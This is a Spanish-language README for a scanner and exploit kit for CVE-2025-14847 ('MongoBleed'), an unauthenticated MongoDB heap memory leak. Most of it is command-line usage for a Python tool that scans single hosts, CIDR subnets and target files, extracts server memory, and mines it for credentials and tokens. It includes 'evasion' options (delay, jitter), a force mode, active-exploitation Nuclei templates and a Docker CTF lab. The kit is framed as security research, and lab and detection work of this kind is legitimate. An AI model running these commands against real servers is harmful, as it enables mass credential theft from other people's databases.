
CVE-2025-14847 (MongoBleed) scanner y herramienta de explotación. Fuga de memoria heap de MongoDB no autenticada mediante descompresión zlib. Incluye detección, extracción de memoria, análisis de credenciales, escaneo CIDR/lote, plantillas Nuclei y laboratorio CTF.
CVE-2025-14847 Escáner y Kit de Explotación
Un kit de investigación de seguridad para MongoBleed, una fuga de memoria crítica no autenticada en la descompresión zlib de MongoDB que permite a atacantes extraer datos sensibles de la memoria heap del servidor sin autenticación.
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬ ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│ ├┤ ├┤ ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit
# Sin dependencias externas -- solo biblioteca estándar de Python 3
cd cli
# Detectar si un objetivo es vulnerable (acción por defecto)
python mongobleed.py -t localhost:27017
# Escanear toda una subred
python mongobleed.py -t 192.168.1.0/24
# Extraer memoria y analizar en busca de credenciales
python mongobleed.py -t target:27017 -e --credentials
# Modo seguro -- solo detección, sin explotación
python mongobleed.py -t target:27017 -s
MongoBleed/
├── cli/ # Herramienta CLI de escaneo y explotación
│ ├── mongobleed.py # Herramienta CLI principal
│ ├── requirements.txt # Dependencias Python (solo stdlib)
│ └── README.md # Documentación CLI
├── lab/ # Entorno de laboratorio CTF basado en Docker
│ ├── docker-compose.yml # Configuración multi-contenedor para el laboratorio
│ ├── vulnerable/ # Configuraciones vulnerables de MongoDB
│ ├── patched/ # MongoDB parcheado para comparación
│ ├── no-zlib/ # No explotable (zlib deshabilitado)
│ ├── monitoring/ # Panel de visualización de ataques
│ ├── warmup-heap.sh # Poblar el heap con datos sensibles
│ └── README.md # Instrucciones de configuración del laboratorio
├── nuclei/ # Plantillas de escaneo Nuclei
│ ├── CVE-2025-14847.yaml # Plantilla de explotación activa
│ ├── CVE-2025-14847-safe.yaml # Plantilla de detección segura
│ └── README.md # Documentación de plantillas Nuclei
├── docs/ # Documentación educativa
│ ├── README.md # Índice de rutas de aprendizaje
│ ├── 01-fundamentals.md # Conceptos básicos de MongoDB y memoria
│ ├── 02-vulnerability.md # Inmersión profunda en CVE-2025-14847
│ ├── 03-exploitation.md # Explotación práctica
│ ├── 04-detection.md # Caza y detección
│ └── 05-defense.md # Estrategias de mitigación
└── README.md # Este archivo
192.168.1.0/24, 10.0.0.0/16:27018)# Comprobar un solo objetivo
python mongobleed.py -t localhost:27017
# Comprobar con salida detallada
python mongobleed.py -t localhost:27017 -v
# Modo seguro -- solo detección, nunca envía payload de explotación
python mongobleed.py -t localhost:27017 -s
# Mostrar información de versión
python mongobleed.py -t localhost:27017 --version
# Escanear una subred /24
python mongobleed.py -t 192.168.1.0/24
# CIDR con puerto personalizado
python mongobleed.py -t 10.0.0.0/24:27018
# Escanear desde archivo de objetivos (los rangos CIDR en el archivo se expanden)
python mongobleed.py -T targets.txt -j 20 -o results.json
# El archivo de objetivos puede contener IPs, host:puerto y rangos CIDR
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017
# Extraer memoria (rango de offset por defecto 20-8192)
python mongobleed.py -t target:27017 -e
# Rango de offset personalizado
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500
# Extracción continua (Ctrl+C para detener)
python mongobleed.py -t target:27017 --continuous
# Forzar extracción incluso si la comprobación de versión no es concluyente
python mongobleed.py -t target:27017 -e --force
# Analizar memoria filtrada en busca de credenciales y secretos
python mongobleed.py -t target:27017 -e --credentials
# Analizar específicamente en busca de tokens
python mongobleed.py -t target:27017 -e --tokens
# Extraer cadenas imprimibles
python mongobleed.py -t target:27017 -e --strings
# Salida en volcado hexadecimal
python mongobleed.py -t target:27017 -e --hexdump
# Añadir retardo entre solicitudes (milisegundos)
python mongobleed.py -t target:27017 -e --delay 500
# Jitter aleatorio sobre el retardo
python mongobleed.py -t target:27017 -e --delay 1000 --jitter
# Solo detección segura
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017
# Detección activa
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017
# Escanear múltiples objetivos
nuclei -t nuclei/ -l targets.txt
# Iniciar todos los contenedores
cd lab && docker compose up -d
# Servicios:
# - localhost:27017 MongoDB 4.4.29 (Vulnerable + zlib)
# - localhost:27018 MongoDB 6.0.26 (Vulnerable + zlib)
# - localhost:27019 MongoDB 8.0.16 (Vulnerable + zlib)
# - localhost:27020 MongoDB 8.0.17 (Parcheado)
# - localhost:27021 MongoDB 8.0.16 (Sin zlib - no explotable)
# - localhost:8080 Panel de Monitoreo
# Calentar el heap con datos sensibles antes de la explotación
./warmup-heap.sh 27017 50
# Ejecutar exploit contra el laboratorio
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials
Objetivo: -t, --target TARGET Host:puerto objetivo o rango CIDR (ej. 192.168.1.0/24) -T, --targets FILE Archivo con lista de objetivos (soporta CIDR por línea)
Detección: --detect Detectar si el objetivo es vulnerable (acción por defecto) --version Mostrar versión de MongoDB -s, --safe Modo seguro - solo detección, sin explotación
Explotación: -e, --extract Extraer memoria mediante escaneo de offsets --min-offset N Offset mínimo a sondear (por defecto: 20) --max-offset N Offset máximo a sondear (por defecto: 8192) --continuous Modo de extracción continua --force Forzar extracción incluso si falla la comprobación de versión
Análisis: --credentials Analizar en busca de credenciales --tokens Analizar en busca de tokens --strings Extraer cadenas imprimibles --hexdump Mostrar volcado hexadecimal
Evasión: --delay MS Retardo entre solicitudes (milisegundos) --jitter Jitter aleatorio en el retardo